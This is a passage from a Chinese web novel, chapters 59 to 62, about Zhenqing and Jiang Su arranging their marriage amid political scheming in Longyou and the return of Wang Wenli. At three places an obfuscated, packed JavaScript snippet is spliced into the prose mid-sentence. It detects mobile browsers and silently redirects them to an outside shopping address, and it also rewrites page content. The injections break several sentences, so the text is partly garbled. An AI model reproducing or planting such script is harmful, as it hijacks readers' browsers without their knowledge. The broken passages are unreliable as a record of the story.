薄映禾望着枕清,抬手轻轻陇过她耳边的碎发,温柔笑笑道:“你们这才认识多久?不着急,慢慢看,慢慢瞧,几番对比下来,选最好的。” 枕清感觉到薄映禾的手指划过她耳边,她若无其事地保持距离,又纳闷道:“你不是说江诉就是最好的?怎么又要慢慢瞧,慢慢看呢?” 薄映禾突然笑了出声,好笑地瞧着枕清,就如同看小孩似的,换做旁人看来,觉得这样的神情好似长者对小辈的宠溺。如果是禹王或者是商震,她还能接受。 可是枕清不喜欢旁人对她露出这样的神情,就好似......她很不聪敏? 薄映禾轻声道:“最好的,不代表与你最相配。有时候,能顺风顺水平淡过一生,也是另一种的好。” 枕清知道薄映禾话里有话,她这是不想让自己嫁给江诉?怕陇西变成江诉的势力?还是说有其他的想法? 枕清走在前,避开多人流的地方,低声道:“可是,我这个人就是不甘于平庸。我喜欢江诉,是因为他身上有过人之处,所以才不舍得放手。我这人做了选择,就是要认定的,如论最后结果好与坏,我都心甘情愿。” 这话说得明白,怕是非江诉不可了。 薄映禾淡淡道:“你想好便好,想什么时候成亲?” “成亲?”枕清迟疑,她没想到薄映禾问得这么直接,她失神地走在前面,突然有孩童匆匆跑来,薄映禾拉住枕清,避开孩子。 枕清愣怔地抬眼顾向远去的小孩,薄映禾又道:“没想好没关系,只是我觉得你好似很着急。” “是吗?”枕清承认道,“是有点,因为他太好了,我怕他跑了。” 不知道为什么,枕清虽然会警惕薄映禾,但是又忍不住想和她靠近,枕清归根于这是因为薄映禾看起来实在是太温柔,这样的她很容易放下别人的防备心。 早在之前,她曾经打探过符生枝和薄映禾的爱情故事,不过知晓内情的人并不多,也就草草几句。 大概是薄映禾去都督府做了谋士,在日渐相处中相爱,随后就一直这样。 枕清状似无意般问道:“姊姊和都督成婚多少年了?” “有七八年了。”薄映禾敏锐道,“怎么了?” 枕清同薄映禾同肩并行,她悠悠道:“没事,我就是觉得姊姊好似不是陇右这边的人,但也不像是河西道和江南道的人。” “我的确不是陇右人,我从小居无定所,跟着家中长辈去往各个地方,会在那里停留一年半载,所以我一直都想有个安定的家,好在遇到了他。”薄映禾讲起符生枝满面满足,“我终于可以歇下来,看看这大好河山。我喜欢庭州,这里有大漠长月,可以在沙丘里尽情翻滚;也有一望无际的旷阔草原,可以策马奔腾。我希望你也能喜欢这里,北小娘。” 枕清能感觉到这番话是真心实意的,她不由自主地点头,笑道:“我也希望我会喜欢这里,但愿不要留下太多不好的事情。” 59. 围幅高深春昼深(二) 夜色渐晚,集会上人群拥挤,枕清走在其中,不知道什么时候,身旁的薄映禾不见了身影,她深陷茫茫人海,看着街上的人流熙来攘往。 于是她一路往前,一路回望。 不知不觉,她随着人群走在到了一座寺庙前。 大启大中寺院约有五千,小庙四万,道观也有千余所。 寺庙内红烛通亮,燃香焚纸。 枕清隔着烟熏火燎,看着济济一堂的人,虔诚垂首,祈求祝福,她掠过源源不断的人流望向尽头,瞧到正殿洒金一身的菩萨霞光万道,慈目低眸,俯瞰众生。 她深陷其中,仿若也成为祭拜神明的一员。 枕清不由后退,与那道视线相距越来越远,直到撞上一个坚硬有力的胸膛,才堪堪停住。 枕清抬眸回首,望进那双比菩萨还要坚韧慈悯的眼眸中,旋即愣怔。 空巷无人尽出嬉,烛光过似放灯时。[1] 江诉拉住枕清的手,把人揽入身旁,带她挤出人流。 薄映禾隔着不息的人海,看着枕清与江诉跟着人流背道而驰,好似身后的一切,他们都不在意,唯有身旁的人才是真的。 可是她方才看见江诉朝着菩萨的方向虔诚祭拜,现在又背着菩萨,带着心爱之人离开。 樵柯烂尽,居诸不息。 虔诚的垂首只为相爱,离开也是。 薄映禾一笑,顺着那两人的反方向走去,独自一人回到了都护府中。 “江诉,你怎么会在这里?现在集会这般热闹,应该更缺人手维持秩序才对,你这样跑出来跟我,会不会不太好?”枕清虽是这么问道,但一点也没表现出担忧的样子。 这几日事情颇多,身为长史的江诉势必不得清闲,况且,这位大都督似乎很喜欢江诉,许多重担都有交与江诉的意思。 江诉微笑道:“今晚,我不值班。” 枕清点点江诉抓住自己的那只手,若有所思般笑说:“好啊,你带我私奔吧,江诉。” 江诉感受到手中的动作,很轻很淡,就好似被猫轻轻抚了一爪子,虽然外边看来没有任何变化,但内心早已经抓心挠肝。 他回首看向枕清,她那双漂亮的明眸在夜色下,依旧十分动人,好似会蛊惑人心的狡猾狐狸,明明是罪魁祸首,却活像是最无辜的人。 江诉缓缓道:“又没人阻碍我们,我们为什么要私奔?我要光明正大的娶你。” 夜色昏暗,他们走得越来越远,就连集市中的灯火都变成点点光斑,从这里望去,好似汇聚了一条五彩斑斓、奔流不息的长河。 枕清轻轻碰了碰腰间挂着的那副面具,低头朝下探,秋风里的冷裹挟进入她的脖颈处,激起她一阵瑟缩。江诉见状,漫不经意地走前为她挡住了一片寒风,却有意没有挡住枕清朝远处往眺望的视线。 枕清微微抬起头,她好似想到了一位很久很久以前的女娘,那位女娘曾悲泣地对她说:“他挡住我所有的视线,却斥责我目光短浅。” 那位女娘等所有人离开后,曾问过她一个问题,问题是什么,枕清已经忘记了。 她只记得她自己当时是这么回答的:“他若事事如我愿,为我献上身家,助我前途坦荡,为我挡去灾厄,才是真的喜欢我,才会令我动容片刻。而不是自己自卑,以爱之名,打压我、抨击我、困住我。” 女娘说这世上没有这样的男子,更不会有这样的人。 枕清目光不由自主落在江诉身上,他的身形修长,坚韧挺拔,好似这世间的风霜都不足为惧。 如果还能遇到那位女娘的话,她一定会告诉她。 她遇到了。 这些时日江诉极为忙碌,即使她和江诉都在庭州,但两人见面的时间极少,况且亲事还未完全定下来,私下见面不合规矩。 因此自从上次接风宴分别之后,再见面就是今晚。 枕清又想到这两日诡异的事情,提醒道:“之前回到庭州的时候,路上的那些事情你应该知道吧?王闻礼已经在陇右了,甚至有可能已经到庭州,我在路上让仇羌杀了王闻礼的人,这两日我在都护府那里住的院子很奇怪,半夜里不仅仅飘着红白幡,甚至还丢了一具女尸给我来个下马威。在长安的时候,王闻礼逃走之前,我用药毒瞎了他的眼睛,像他这般睚眦必报的人,肯定会来找我报仇的。” 枕清做事向来会深思熟路,不过上次因为罗长观的人马给得少了,而且她也低估了王闻礼手下的实力,没有完全的把握,便令王闻礼逃走了,才留下了这么大的祸患。 陇右这块说到底,不是他们的地盘,而且还没站稳脚跟,着实难办。 枕清凝眉看向灯火后的群山莽原,吹过几两瑟亮的秋风也没能抚开她的心绪。 枕清沉思,走前独自感受这晚间冷风,她迎着猎猎作响的风际,接着道:“王闻礼他在陇右的势力不容小觑,而且你底下都是他以前的人,他又知晓我们两的关系,我怕他联手那些人朝你下手。现在的你应该要清扫那些人了,如果他们不能心甘情愿地听从你、信任你,一定会留下祸患。” 江诉少有见枕清露出这般困苦的神色,他笑笑,为了让枕清不要太过担忧,正色道:“我知道的,之前会用他们也是因为我自己底下无人可用,不过现在,我已经有了自己的人,而且你这里还有上百位骑兵,虽说不多,但也足够了。” 他见枕清摩挲手中面具,又道:“至于王闻礼留下的那些人,我并非觉得用不得,必要时我们可以引蛇出洞。之所以现在按兵不动也是顺了大都督的愿,之前大都督就已经不满了王闻礼隐隐有超过他的势头,我又初来咋到,根基未稳,所以急不得。” 听了江诉的话,枕清内心安定不少,知道江诉自己心里有做打算。 枕清抿唇,目光逐渐开怀,隐约有坏主意的打算,无声弯唇道:“引蛇出洞,得要看我们显露得多不多。不过,听你这么说来,那就是陇右的大都督也是不喜欢王闻礼的?想来也是,王闻礼的死因重重,他甚至装模做样找一下的动作都没有,而且王闻礼这样的人最不容忍别人压他一头的人,自然已经受够了。” 江诉已有打算,他笑道:“既来之则安之,有我在,不用怕。反倒是你,身子骨未好全,尽量早些睡,院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665351|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有异动,我让牧青你在身边。” “不用,我身边有仇羌够了。”枕清转换话语道,“刚刚我与薄娘子一同出来游玩,她给我的感觉很奇怪,好似很好,可这份好里面像是藏着一份砒霜,我跟她在一起简直像是在刀尖上舔血。” 枕清说出这番话并不是想跟江诉诉苦的意思,也没有说一定要让江诉多加留意什么。 她的本意是想问问江诉,是不是他刚开始来陇右也是这样,处处都是危险,可又不得不溅血而上。 江诉颔首,她自然有所了解,薄映禾表面上看着十分柔和,可骨子里的强势让符生枝都要低下一头。 不过,薄映禾对外人确实客气,依旧是很好说话的样子。 江诉道:“既然不喜欢,那就少与相处。” 枕清说:“你明明知道这不是我本意。” 江诉猜不到,觉得小娘子的心思颇深,他还是要多与之相处才能明白,于是笑问:“那你的本意是什么?” 聪明人不说笨话,自然也不完完全全展开来,把自己全部心思都显露出来。可是枕清在江诉面前又不需要做聪明人。 枕清迎着深秋的冷风,侧过漂亮的眸子,微微上扬,浸着嚣张和笃定,问他:“江诉,我们什么时候成婚?” 夜间簌簌风声刹时而动,少女眉眼漂亮灵动,说出来的话在她眸中好似平常一句,却又像是在窥探他所表露出的模样。 江诉并没来得及防备,听到这话后完全处于本能的反应,被这句话扰得有些心神不宁,他略有不确定般:“会不会太早了?” 虽然江诉心里是高兴的,可他还是会觉得太早,倒不是年龄的原因,而是不知道枕清是否真的看清楚了他到底是一个什么样的人,甚至在清楚地知道后,能不能继续接受这样不算好的他。 枕清从喉咙中轻轻哼出一道声音,反问道:“早吗?薄娘子也说太早了,可是江诉,真的很早吗?这件事我可是等了两辈子的,薄娘子还说我看起来急不可待,现在我不得不承认,我确实急不可待。” “或许我没有所你想的那么好。”江诉表情比平日里更显认真凝重,这不是一件小事,需要认真再认真的对待。 枕清听到这句话,她突然开怀大笑,她干脆利落地转身,抬步就走。 江诉心瞬间慌乱了一下,以为是自己说的话让枕清不高兴了,他正想追上解释,就见枕清走到一棵树梢下,身子抵在树干,他的心瞬间安定下来,方才的迫切和着急都有了归处,被他按在了内心深处。 枕清双手抱于胸前,懒洋洋开口道:“我在上一世可是从来没有把你想得有多好,可即使那样,我依旧会爱你,无论你的好与坏,我都会接受。你知道的,我这人做事从来不谈后悔这二字,即使真的有一天我觉得不好了,但我依旧不会后悔,再从来一次,我还会这么做。” 这的确是枕清的风格,说一不二。 所以江诉的担忧,在枕清这里压根不存在,无论最后的结果怎样,枕清都会接受。 “那你挑个日子吧。”江诉道。 枕清想也不想就道:“尽快!” 60. 围幅高深春昼深(三) 尽快! 江诉见枕清朝山下走去,他弯唇跟在身后。 枕清将先前薄映禾给她买的面具覆盖在脸上,这面具看起来诡异。 不过这也是枕清随便买的,她倒是没觉得有多吓人,反倒是频频看向江诉,江诉无奈失笑。 求娶枕清这件事,江诉还没和符生枝开口,符生枝就已经先找上了他。 集会的热闹逐渐褪去,也没有往日的忙碌。符生枝坐在一处地上,他微微弯曲起一条腿,手腕慵懒地搭在膝盖上,双眸略显惬意。 符生枝懒懒开口道:“来听,你是否真的喜欢渭州来的北小娘子?” 江诉走前,坐在他案桌的对面,他抬眸说是。 这件事并没有什么好隐瞒的,在外人看来,他和北肆姝才认识短短数日,还真的爱得死去活来倒也不见得,不过也有一见钟情后没有得到那人,也真的是抓心挠肝。 早在北肆姝来陇右的第一天,符生枝就已经听到风声,说江诉和那位渭州来的小娘子当天看对了眼,甚至一夜缠绵,情谊深厚。 所以他这话问的,倒也有些明知故问的意味。 “我有一件事想与你说,当然也想听听你的意见。”符生枝正要说出自己的意图,下一秒就瞧到薄映禾迈着步子踏进门来。 符生枝当即放下搭在膝盖上的手,身子微微端正,留意薄映禾每一瞬的动作。 薄映禾恰似对符生枝的动作毫无察觉,甚至连眼皮都没跳一下,稳稳地把东西放在两人中间的桌案上。 她先是无声地看了一眼符生枝,又朝江诉笑着说:“粗茶淡饭,尚且温饱,你与生枝慢吃,我先去北小娘那里,给她送一些过去。” “嫂嫂说笑了,以嫂嫂的厨艺,就足以让人心满意足。” 江诉不是第一次尝薄映禾的厨艺,心中没有意外,反倒是说要给枕清一份,他心中略有诧异,可又想想薄映禾的为人,倒也是正常的。 江诉垂眸看着热腾腾的饭菜,符生枝对于吃食并不挑剔,更没有什么爱吃与不爱吃的,所以薄映禾在他在府中的时候,会依照他的口味烧几道菜,不过眼下这些菜色,好似是枕清更喜欢吃的。 想来给枕清留饭已有一段时日了。 江诉唇瓣微微弯起,问:“嫂嫂和肆娘的关系竟然这般好了?” 还没待薄映禾开口回答,符生枝替她道:“你嫂嫂心软,见那小娘子一个人来到这人生地不熟的地方,怪会心疼的。” 薄映禾轻轻嗯了一声,也算是认同了符生枝这句话,她拿上东西,转身去枕清所住的院子走去。 待人走远后,符生枝才又开了口:“来听,你应当知道我不喜欢渭州刺史,但他在位多年,地位早已稳固,所以要有一个缘由。” 江诉不动声色地抬眸平视符生枝,符生枝笑着看了一眼他,又回到了方才的懒怠模样,满身都透着慵懒随性。 符生枝也不绕圈子,声音如常:“北肆姝就是最好的靶子,我会让她嫁给愿意当渭州刺史的人。如果你真的喜欢她,那我让她嫁给你。” 江诉察觉到这是一场不能退,也不能进的鸿门宴。 符生枝要对付渭州刺史,想换上自己的人坐在那个位置,而这必须有一个前提。 娶了北肆姝的人,就是要对北肆姝父亲动手的人。 江诉心中了然,问道:“对于渭州刺史,都督打算如何动手?” 符生枝言简意赅道:“陇右这里最不需要花里胡哨的手段,只需按上一个罪名,让北老头不得不认,而娶了北肆姝的你,终归不会让渭州反感,到时候你坐上渭州刺史,皆大欢喜。” 江诉面露难色,他手微微握紧拳头,摇头道:“不妥,她会恨我的。” 符生枝把江诉的为难看进眼里,他也不着急,就慢悠悠看着江诉在热锅里旋转,好似在等待一场好戏,又像是任何事情与他这个罪魁祸首无关。 半晌后,符生枝又道:“没想到来听是这般痴情之人,你们才认识短短数日。我不逼你,即使你不来,也依旧会有旁人会做这件事,只是我更想让你成为渭州刺史,好生思量吧,人这一辈子,也不只有爱这个东西。” 看似给他选择,但是步步都在把他逼上这个位置。 甚至抛出了,这件事不只有他一个人的人选,如果他不娶,那就是把心爱之人拱手相让。 可如果娶了北肆姝,他势必要成为符生枝手中对付渭州刺史的剑,而他这样做,自然会与北肆姝决裂。 不过,符生枝算漏了一件事。 江诉垂眸佯装掩饰错乱的思绪,符生枝像是没有察觉到他的情绪一般,隔空用筷子点了点桌上的菜肴,道:“先赶紧尝尝你嫂嫂的厨艺,不然等会凉了,我们没吃完,你嫂嫂会不高兴的。” 现在的江诉肯定要装作自己吃不下去,更要装作为了不让符生枝扫兴的模样。 他随意吃了两口,到一定时间后,表现出一丝焦急,便站起身拱手道:“下官吃好了,都督慢吃。” 符生枝笑了一声,觉得自己这是把人逼急了,他慢慢悠悠地起身道:“这几日城中也没什么事情了,你多陪北小娘逛逛,不过有些话在她面前,该不该说,能不能说,来听比我更为清楚。” “是,多谢都督提点。”江诉心事重重般又抬手见了见礼,大步朝枕清院子的方向走去。 直到看到枕清后,他笑着微微挑眉,方才在符生枝所表露出的复杂、为难、隐忍情绪瞬间不见。 江诉自己本身就是个不容易情绪外露的人,他所有的表情和神态都是显露给别人看的,唯独在枕清面前会克制不住自己真正的情绪,也好像只有在枕清面前,才能做回真正的自己。 面具戴久了,倒真有些难摘了。 他们两人眼神交汇,江诉先开口道:“小娘子应当还不熟悉庭州,要一起出去走走吗?” 枕清微微点头,跟着江诉出了都护府,两人在一处安静的小馆内坐下。 正值午时,小馆内并没有什么人,枕清捧着一盏酸奶酪,听着江诉告诉她和符生枝所说的事情。 听完后,她笑道:“这不就是把刀架在你脖子,无论如何,你都落不着好,也都落着了好。可惜他算漏了一件事,那就是我压根不是什么北小娘子。符生枝既然要对渭州刺史动手,和我枕清又有什么关系?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665352|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然这身份是被瞒了下来,不过枕清和渭州刺史又没见过,这关系终归是萍水相逢,她自是无所谓。 枕清抬手抵了抵自己的脑袋,神情逐渐凝重,她道:“不过,符生枝所做这件事倒是和给枕家定罪的手笔一模一样,你说,枕家的幕后之手,会不会就是他的手笔!” 就如同对付枕家一样,未有实质性的证据,却又被泼脏水。 江诉在上一世查过有关枕家的许多东西,自然也知道枕家是无辜的,更是明白枕家是如何覆灭的。 符生枝的确参与了,但时间并不能说是完全对得上。 江诉分析道:“枕家被灭的时候,符生枝不过也才十三,甚至还没到及冠之年,你觉得那时候的他会有这样的心思吗?况且,他们真的会听从一个不足十五的孩子吗?” 枕清挑眉,江诉这话说得有道理,倒也不是完全偏向符生枝,只不过十三岁也不至于是什么都不懂的年纪。 她不死心道:“或许他从小就熟读兵法,心思不自觉养成了那样的性子也未可知。即使不是他决策的,但他也参与过枕家满门被抄,也知道更多内情。” “可据我所知,他出现的那次是个意外。”江诉知道枕清追求真相心切,但是很多事情不能以一言去武断,“是因为前陇右大都督派他一同去的。” “前任大都督,柳长鸣?可他已经死了,他就算没死也不会告诉我的。”枕清伸出手拖住自己的下颌,眉梢不由蹙着。 江诉重新给枕清倒了一壶热水,见枕清没有任何反应,他抬手碰上她耳垂,拂过一缕碎发,帮她别到耳后,又轻轻敲了敲她额头,枕清被这动作吓得一怔,睁大双眸直愣愣地看着江诉。 江诉倒也不怕她瞧,漫不经心地收回手,问道:“想这么多,想明白了?” 枕清这才知道,原来是江诉怕她心事太多而烦忧,枕清萎靡不振道:“知道了,现在当务之急还是渭州刺史那件事,消息和信件都被层层把控,自然传不出去,要么叫自己人冒着命跟渭州刺史当面说,要么就听天由命这渭州刺史到底是死还是活。” 江诉道:“小娘子这话说的不对。” 枕清挑眉问:“那郎君有何高见?” 江诉笑道:“现在的当务之急是你我的婚事。我们都不曾定下来,这渭州刺史落马,自然也没那么快。” 枕清慢慢悠悠地点头,算是认同,她眼眸微微垂落,也跟着笑道:“我还想到了一个人,他大概会来,到时候便能将他一网打尽。” 江诉立马就能想到枕清说的是王闻礼,他接话道:“可是我不想我们成婚的时候出意外,枕清,别的时候你有算计和谋划我都依你,不过,成亲这天不行。” 枕清哪有这么不在意这场成亲,就连成婚这天都算计进去,“谁说我们放出成亲的日子就是真的,当然先是把他解决了,再好好的成婚,到时候没人阻碍我们,而我唯你一人而已。” 江诉轻声驳道:“不,是我唯你一人而已。” 夕阳西下。 落日余晖照在他们身上,枕清抬眸看向满身金光的江诉,她在这一瞬间好像到了很久很久的以后,身边一直一直都是他。 61. 围幅高深春昼深(四) 在江诉说要和娶北肆姝的时候,符生枝并没有觉得意外,他心中早有笃定,他会提前说他的动作,也只是因为他喜欢欣赏江诉,不想到时候与江诉反目成仇,所以把丑话说在前头,自然也没什么好责怪的。 他点头说择日成婚,日子让他们自己定。 夜幕低垂,寒声浙沥。 当夜,符生枝抱住薄映禾道:“你说对了,来听真的会答应。” 薄映禾放下手中的梳子,望着眼前的铜镜,看着身后的人,轻声道:“因为他喜欢北小娘子,让小娘子嫁给别人,他不能接受。” 符生枝将下额贴在薄映禾的发梢上,抬眸望着镜子里的她,两人在清晰的铜镜中相互对视。 符生枝忍不住摸上薄映禾的面颊,随后略显粗暴地挑起她的下巴,薄映禾被这动作,被迫抬起脸,露出纤细凌厉的下颚线。 他缓缓俯下身,贴近道:“对付渭州刺史,怕是北肆姝不能接受,他们两终归会有隔阂,被你说对了,我就是一个恶人。” 这样的动作终归是难受的,薄映禾拍开符生枝的手,起身压在符生枝身上,慢慢道:“倒也未必,你去查一查北肆姝的身份。” 符生枝敏锐道:“你认为北肆姝这个身份是假的?” 薄映禾冷静道:“有怀疑,我总觉得她的防备和警惕心太过强了,她说她自己养在深闺中,大门不出二门不迈,那理应多一些天真,可她性子太烈,也太野。” 符生枝不以为意道:“可我们陇右的女娘不也各个都是烈性子,陇西自然也是一样的,这有什么的。我看你就是太多心了。” 薄映禾垂眸掩饰嘲意的笑,走到床榻边上,回想道:“之前我问过她有关渭州的事情,她都以身体不舒服,从未外出过的理由把我的试探打了回去,可是真的会一点不知道吗?” 不知道为什么,薄映禾似乎对北肆姝有敌意,难不成是因为初见那日,说得那一番话惹得她不快了?可是他已经不是说过了,这一辈子只有薄映禾一个人。而且她还常常给北肆姝送饭,也没看出来那里不喜欢北肆姝。 符生枝问:“那你看她身子骨好吗?” 薄映禾拧眉:“不好。” 符生枝走前,环住薄映禾的腰肢,费点力气把人带上了床榻上,缓缓抚开倾泻在她身上的发丝,压声道:“这不就得了。我知道北老头的,如果不是他的亲闺女,他怎么会愿意给一个毫不相关的人用上百位骑兵护送,而且十几辆的珠宝玉器都往她身边堆,除了自己的孩子,没人会做到这份上。” 这些珠宝香车自然不可能是渭州刺史送的,这些都是禹王送给枕清的,不过是以渭州刺史的身份送出来的。 枕清自从来了庭州,已经很久没有听到长安的消息,庭州不像长安那般富庶热闹,但这段时日过得也算平静。 而之前让仇羌去每个关口查看的时候,发现的确都是符生枝的手笔。 这是一个大问题。 枕清略微思忖,于是自己拿出了点银子,借用应钰在长安的风声和名望,在陇右各个地方开了商铺。 或许是有应钰的名气,这件事完成的也挺顺风顺水,甚至还在旁边的郡县也开了几家店铺,生意虽然不及长安火热,但也平常的好上许多。 而她和江诉的婚事,两人说定了一个日子,大都督大手一挥应允道:“那好,下个月大婚。” 下个月,好似很近又很远。 渭州刺史之女和江长史的婚事传遍了陇右各个郡县,也漫延到了长安城,不少朝中的风向逐渐倾倒,有乐得其见一派,也有看不得好的意思。 如此以来,陇右与陇西的实力逐渐合并,没有分歧,那么兵力十足十的强盛,怕有逼压到长安的意思。 当然也有乐天派觉得这样陇右和陇西可以互帮互助,能共抗吐蕃和突厥。 枕清没听到,不过这日她倒是收了所谓父亲的来信,这信件只是说说家常话,问是否安好,也提及亲事一事,说陇右接连几日下了大雪,道路封堵,便不来了。 不来也好,枕清也怕他露馅。 不过她没有在信件上看到古怪的地方,唯独信封像是被人拆开过,又被粘合在一起。 她自然知道这是被人动过的,只是她没有说,而是展开宣纸,提笔写下一封平常的拿去寄过去,她也没写什么隐藏的话,就是很平常的家书,唯独在最后加了一句,说自己很喜欢江诉,非常愿意嫁给江诉。 这封信大概会在渭州刺史过目,转手传到禹王的手中。 枕清吹灭了桌案上的烛火,听着屋内炭火哔啵作响。 冬日庭州的晚上真的很冷,早上醒来的时候,屋外来了几道惊呼声,枕清推开房门,目光所及之处皆是白茫茫的一片积雪。 竟然下雪了。 枕清拿上一件厚重的袄子,盖上衣帽,向都督府门外,去往街上的路上,空中倏地下起了鹅毛大雪。 她抬手接下一片雪花,待雪花轻轻飘落在她手中,激起一抹凉意,她用余光看到身前有一抹熟悉的身影,那声音带着恶劣地颤意:“枕清。” 枕清微微抬起脸,看清那人的面容,忽然笑了。 她道:“你来了。” 那声音极为平和,既没有劫后余生的得意,也没有兵刃相向的狠劲,好似就是一直在等着他出现一样。 王闻礼听到这样的话又麻又木,一时间没缓过来,待他回过味来,猛然走前,抓住枕清的手腕,见枕清没动,于是强硬地把人连拖带拽地扯到一处僻静逼仄的巷子内。 他低垂眸子看着枕清苍白纤瘦的小脸,冷笑道:“瘦了。” 枕清抬起小脸,望进王闻礼浓重的那双眸子里,看来是被医治好了,竟然没有瞎。 “看我的眼睛做什么?没有如你所愿般瞎掉是不是觉得很可惜?”王闻礼抬手摩挲枕清的脖颈,微微用力,“县主不是说,我如果能活着离开长安,你就嫁给我,我现在已经活着回来了,你怎么要另嫁他人?” 王闻礼手上的动作想要再往下掐得更深,甚至恨不得掐死枕清! 可是他依旧没有下死手,只是在表面的肌肤上缓缓摸索,话语微微发狠道:“我的娘子啊。” 这句话的声音让枕清心间微颤,她能明显地感受到王闻礼的焦躁不安,甚至带着他自己都不知道的心慌,就好像是落不到实处。 枕清面无表情地着拿下他的手,他们明明应该是仇敌见面,分外眼红,甚至最后一次的见面也不算好,两人都恨不得杀死对方。 “你为何一定要执着于我,你被迫困在长安,又被人设陷追杀,可从来都不关乎我的事情,王长史应当要明事理。我是曾说过那样的话,如果你活着出了我就跟着你。” 说到此处,枕清顿了顿,推开王闻礼,反手把王闻礼压在逼仄的墙沿上,伸出手掐上王闻礼的脖颈,甚至还能感受到剧烈的神经在手中跳动,是一条极具有鲜活的命脉。 而她掌握了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665353|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的命脉。 枕清神色微冷道:“可是你也不看看你现在的样子,你在所有人眼中已经是一个死人了,既没有实权,也没有崛起的能力,这样的你,能给我带来什么,又如何能让我跟着你。 “我是县主,打小就在蜜罐里娇养出来的,受不得什么风吹雨打,更别说连日奔波,你若真想要我,那就让我看到你所有的东西,以及能力,现在我嫁给另一位长史大人,倘若你重新夺得长史位置,娶我的人就是你了。” 这一番话说得看似苛刻,但又留有余地,甚至给予他一种他也可以的错觉。 可真的是错觉吗? “你可别叫我长史折煞我了,现在的我是人人口中的阶下囚。”王闻礼感受枕清手中的动作,当即握住她的手腕骨,迫使她更为用力,掐住王闻礼的脖颈的手越来越深,甚至王闻礼的面色通红转而浮起白色,脖颈上掐出一块非常明显的红色痕迹。 枕清面色微变,她可不想承担当街行凶的罪名,脸颊逐渐浮起薄怒,甩开王闻礼的手,也脱离与王闻礼极近的距离。 王闻礼觉得自己像是在长安那日,迎着枕清第一次的耳光,清脆响亮,却又深深刺痛着他。 他失魂落魄地看着身前的人离远自己,忽地幽深笑道:“从江诉手中夺到你,你舍得江诉吗?枕清。” 枕清轻飘飘问道:“我说舍得你会信吗?” 王闻礼道:“我信。” “骗你的也信?” “信。” 枕清回眸看向王闻礼,他身影映在万千雪色中,极为突兀。那双嚣张肃杀的双眸带着从未有过的茫然和依恋,好似是一只山中前行的狼崽子迷了路,眼巴巴地望着她指明方向。 会后悔吗? 枕清微微迟疑,后悔这么对待王闻礼。 不会。因为她从来不是一个好人。 况且王闻礼也曾这么对过许多女娘们,将她们抛弃,甚至不在乎任何一个人的性命。 枕清神色隐藏在天地一色中,她再次顿了顿,问道:“王闻礼,在上一世里,你究竟有多少位小妾?” 王闻礼表情变得犹疑,他向来对于男情女爱的事情不关心,更别说身边有多少莺莺燕燕,他在很早的时候的确对女娘是来着不拒,可是遇到枕清后,便从未有过旁人。 以为枕清在吃醋,王闻礼眉间愁绪逐渐被轻抚开,他当即道:“她们都不重要,我自从遇到你之后,我身边再也没有过别人,我心里只有你。” 王闻礼盯着枕清,枕清的眉眼并未如他所想那般舒展开来,但他看到枕清笑了,只是那笑容并不是高兴,而是带着嘲意。 枕清唇瓣勾起嘲讽,问道:“怎么就不重要了?” 女人在他们眼中,是最不重要的,仿若一件可以丢弃脱手的物品。 她永远都不会喜欢这样的人。 王闻礼心里不明白,这样说都不可以吗,既然已经说了她们不重要那就是不重要,而他这番话不亚于明确地诉说他就是喜欢枕清,之前的算计和怨恨都可以一笔勾销,这已经是给予枕清最大的忍让。 枕清怎么就是不满足呢,他觉得枕清心思难猜,而且他也不明白枕清所说坐回长史的那番意思。 抢夺吗? 抢夺长史的位置有什么意思? 真要抢夺,那就在成婚当日直接抢了枕清! 枕清知道王闻礼在秘密谋划什么,不过一直碍于某些东西便一直观望犹豫没动手。 62. 围幅高深春昼深(五) 今日的枕清是要去铺子,但在路上遇到王闻礼,是一个意外,但也不那么意外。 店小二见她进来,朝不远处的方向指了指那两人,小声跟枕清提醒道:“贵主,那两人一直在等你,而且还指名道姓要找这间铺子的主人,似乎是从长安那边来的,好似说我们的铺子就是打着他们的名号.....” 枕清顺着视线望着那两人,心瞬间空了一刻,她有些不知所措地碰了碰腰间所垂挂的玉佩,她还没迈开脚步,那两人竟先朝她这处走来。 她率先看到了盛松言的身形,再看向应钰的面容,心中好像有一块地方在微微发酸。 应钰看到她的那一瞬间,恰似也跟着恍惚了一下,她情绪哽咽在喉中,难以吞咽下来,于是偏过脑袋。 因为还有外人在,应钰顿了好一会,体面道:“你就是这家店铺的老板吧,我有时同你商量,借一步细说。” 枕清若无其事地颔首,面色如常道:“那就请二位跟我来吧。” 他们三人一同上了二楼包厢,盛松言有眼见力的站在门外,待枕清门立马关上,应钰终于忍不住了,她倾身抱住枕清的脖子,两行泪旋即挂落下来,她的心开始作痛。 枕清看到她这般模样,心不由跟着揪了起来,这事是她做的不好,从未跟应钰商量过。 